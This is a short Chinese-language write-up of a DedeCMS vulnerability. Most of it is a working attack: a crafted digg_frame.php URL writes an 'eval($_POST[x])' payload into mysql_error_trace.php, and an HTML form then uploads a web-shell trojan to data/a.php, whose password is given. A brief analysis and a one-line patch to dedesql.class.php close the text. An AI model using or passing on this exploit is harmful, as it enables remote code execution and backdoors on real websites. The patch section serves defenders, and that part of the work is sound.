假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见以下错误信息
注入成功
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
3. 执行附件地址:dede.rar里的文件 test.html,注意 form 中 action 的地址是
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
按确定后的看到第2步骤的信息表示文件木马上传成功。
木马网址:http://www.abc.com/data/a.php
密码:2006888
漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
解决方案:
打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”rn/*rn{$savemsg}rn*/rn?”.”>rn”);
替换代码
@fwrite($fp, ‘<’.'?php’.”rnexit;rn/*rn{$savemsg}rn*/rn?”.”>rn”);
清空 data/mysql_error_trace.php 文件内容